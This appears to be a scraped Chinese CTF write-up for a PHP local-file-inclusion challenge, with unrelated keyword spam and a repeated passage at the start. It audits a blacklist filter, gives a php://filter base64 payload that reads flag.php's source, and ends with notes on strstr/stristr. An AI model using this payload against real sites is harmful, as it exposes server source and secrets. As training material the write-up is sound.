建设部门户网站,黑龙江建设安全监督网查询,中建八局招聘出国劳务,网络营销今后的发展趋势打开题目 查看源代码发现有一个可疑的php 访问一下看看 点一下secret
得到如下页面 响应时间太短我们根本看不清什么东西#xff0c;那我们尝试bp抓包一下看看
提示有个secr3t.php 访问一下
得到 我们看见了flag.php
访问一下可是什么都没有 那我们就进行代码审计 $file$_…打开题目 查看源代码发现有一个可疑的php 访问一下看看 点一下secret
得到如下页面 响应时间太短我们根本看不清什么东西那我们尝试bp抓包一下看看
提示有个secr3t.php 访问一下
得到 我们看见了flag.php
访问一下可是什么都没有 那我们就进行代码审计 $file$_GET[file]; if(strstr($file,../)||stristr($file, tp)||stristr($file,input)||stristr($file,data)){
get传参传入一个file参数然后用strstr函数和stristr函数严格大小写检查 $file 是否包含 ../, tp, input, data 中的任何一个字符串。 echo Oh no!; exit(); } include($file); //flag放在了flag.php里
如果匹配到其中任何一个将输出 Oh no! 并结束脚本。如果用户提供的 $file 参数通过了过滤器的检查include($file); 将包含对应的文件 这里其实就很明显要用php伪协议来读取了其中还不能包含inputdata等字眼
那我们便用php://filter读取flag.php文件内容
payload
?filephp://filter/readconvert.base64-encode/resourceflag.php
得到密文 我们base64解密一下得到 !DOCTYPE html html head meta charsetutf-8 titleFLAG/title /head body stylebackground-color:black;brbrbrbrbrbr h1 stylefont-family:verdana;color:red;text-align:center;啊哈你找到我了可是你看不到我QAQ~~~/h1brbrbr p stylefont-family:arial;color:red;font-size:20px;text-align:center; ?php echo 我就在这里; $flag flag{0f144661-a3d7-44b8-84a0-0250d2f960ff}; $secret jiAng_Luyuan_w4nts_a_g1rIfri3nd ? /p /body /html 知识点
strstr函数
返回字符串中从某指定字符开始到结束处的字符串。
1、strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。 2、找到所搜索的字符串则该函数返回第一次匹配的字符串的地址 3、如果未找到所搜索的字符串则返回NULL。 char *strstr(char *str1, const char *str2); //返回值为字符型指针 str1: 被查找目标 str2: 要查找对象
例子;
#include stdio.h
#include string.h
main()
{char *sGoldenGlobalView;char *llob;char *p;pstrstr(s,l);if(p)printf(%s,p);elseprintf(NotFound!);return 0;
}
运行结果为
lobalView来源于strstr函数的使用说明C语言_c语言strstr函数的用法-CSDN博客 stristr函数 搜索字符串在另一字符串中的第一次出现并返回字符串的剩余部分。和strstr函数的用法是一样的但是该函数是不区分大小写的。如需进行区分大小写的搜索请使用 strstr() 函数。